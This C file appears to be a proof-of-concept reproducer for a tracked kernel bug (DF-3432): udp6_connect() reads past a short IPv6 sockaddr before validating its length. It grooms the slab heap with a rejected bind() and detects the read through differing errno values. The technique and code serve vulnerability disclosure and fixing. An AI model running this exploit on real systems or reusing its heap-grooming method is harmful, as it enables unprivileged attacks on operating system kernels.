DF-3432 / udp6_connect_oob.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 | /* * DF-3432 -- udp6_connect() reads sin6_p->sin6_addr BEFORE any sa_len * validation (DF-3357/3372/3415 read-before-validate family, * udp6_usrreq.c instance). * * Victim path (all unprivileged): * connect(2) -> getsockaddr(): sa = kmalloc(len, M_SONAME) [EXACT len, * len in [2..255]; user bytes cover 0..len-1] * -> soconnect -> so_pru_connect -> (netisr0) udp6_connect() * sys/netinet6/udp6_usrreq.c:596-600: * sin6_p = (struct sockaddr_in6 *)nam; * if (IN6_IS_ADDR_V4MAPPED(&sin6_p->sin6_addr)) { <- OOB read * error = EADDRNOTAVAIL; goto out; <- decided * } * ... in6_pcbconnect() is only reached at :608 -- AFTER this read; * the first sa_len validation anywhere on this path is deep inside * in6_pcbladdr() (in6_pcb.c:282, DF-3415's finding). * * IN6_IS_ADDR_V4MAPPED(a) tests (file offsets 8..19 of sockaddr_in6): * bytes 8..11 == 0, 12..15 == 0, 16..19 == 00 00 ff ff * * Slab mechanics (sys/kern/kern_slaballoc.c): sizes 17..24 round to the * 24-byte chunk zone; kfree() only writes c_Next (bytes 0..7); bytes * 8..23 of a freed chunk survive. bind(24) grooms the chunk, the very * next getsockaddr(17) reuses it (same syscall thread, LIFO), and its * bytes 17..19 are stale groom bytes lying OUTSIDE the 17-byte sockaddr * the user handed to connect(). * * Oracle: * A) groom bytes 17..19 = 00 ff ff -> v4-mapped pattern completes -> * udp6_connect returns EADDRNOTAVAIL at udp6_usrreq.c:598 without * ever reaching in6_pcbconnect() * B) groom bytes 17..19 = 00 00 00 -> pattern broken -> falls through * to in6_pcbconnect() -> in6_pcbladdr() finally validates sa_len * -> EINVAL * A/B differ ONLY in heap bytes past the user-copied length. */ #include <sys/types.h> #include <sys/socket.h> #include <stdio.h> #include <string.h> #include <errno.h> #include <unistd.h> #define RUNS 20 static int do_round(unsigned char g17, unsigned char g18, unsigned char g19, int groom) { unsigned char sa24[24], sa17[17]; int s, r; /* groom chunk: 24-byte sockaddr (17..24 share the 24-byte zone) */ memset(sa24, 0, sizeof(sa24)); sa24[0] = 24; sa24[1] = AF_INET6; sa24[17] = g17; sa24[18] = g18; sa24[19] = g19; /* trigger chunk: 17-byte sockaddr; user controls bytes 0..16 only */ memset(sa17, 0, sizeof(sa17)); sa17[0] = 17; sa17[1] = AF_INET6; /* bytes 8..16 left 0x00 */ s = socket(AF_INET6, SOCK_DGRAM, 0); if (s < 0) { perror("socket"); return -1; } if (groom) { /* rejected by in6_pcbbind (sa_len); the M_SONAME chunk is * nevertheless allocated and freed in-thread -> groom */ (void)bind(s, (struct sockaddr *)sa24, 24); } errno = 0; r = connect(s, (struct sockaddr *)sa17, 17); if (r == 0) { close(s); return 0; } close(s); return errno; } int main(void) { int i, e; int a_mapped = 0, a_einval = 0, a_other = 0; int b_mapped = 0, b_einval = 0, b_other = 0; int c_mapped = 0, c_einval = 0, c_other = 0; printf("AF_INET6=%d SOCK_DGRAM=%d RUNS=%d\n", AF_INET6, SOCK_DGRAM, RUNS); printf("target: udp6_usrreq.c:596-600 reads sin6_addr (offsets 8..19)\n" "before ANY sa_len check; bytes 17..19 come from the groomed\n" "free chunk, outside the 17-byte connect(2) sockaddr.\n\n"); for (i = 0; i < RUNS; i++) { e = do_round(0x00, 0xff, 0xff, 1); /* mapped pattern */ if (e == EADDRNOTAVAIL) a_mapped++; else if (e == EINVAL) a_einval++; else a_other++; if (i == 0) printf("A(groom 00 ff ff) first errno=%d (%s)\n", e, e > 0 ? strerror(e) : "SUCCESS"); e = do_round(0x00, 0x00, 0x00, 1); /* pattern broken */ if (e == EADDRNOTAVAIL) b_mapped++; else if (e == EINVAL) b_einval++; else b_other++; if (i == 0) printf("B(groom 00 00 00) first errno=%d (%s)\n", e, e > 0 ? strerror(e) : "SUCCESS"); e = do_round(0, 0, 0, 0); /* no groom */ if (e == EADDRNOTAVAIL) c_mapped++; else if (e == EINVAL) c_einval++; else c_other++; if (i == 0) printf("C(no groom) first errno=%d (%s)\n", e, e > 0 ? strerror(e) : "SUCCESS"); } printf("\nsummary over %d rounds per variant:\n", RUNS); printf(" A groom 00 ff ff : EADDRNOTAVAIL=%d EINVAL=%d other=%d\n", a_mapped, a_einval, a_other); printf(" B groom 00 00 00 : EADDRNOTAVAIL=%d EINVAL=%d other=%d\n", b_mapped, b_einval, b_other); printf(" C no groom : EADDRNOTAVAIL=%d EINVAL=%d other=%d\n", c_mapped, c_einval, c_other); if (a_mapped > 0 && b_einval > 0 && a_mapped > b_mapped) { printf("\nRESULT: VULNERABLE -- udp6_connect()'s errno is " "chosen by heap bytes OUTSIDE the supplied sockaddr " "length (read at udp6_usrreq.c:597 before any " "validation).\n"); return 0; } printf("\nRESULT: no differential observed.\n"); return 2; } |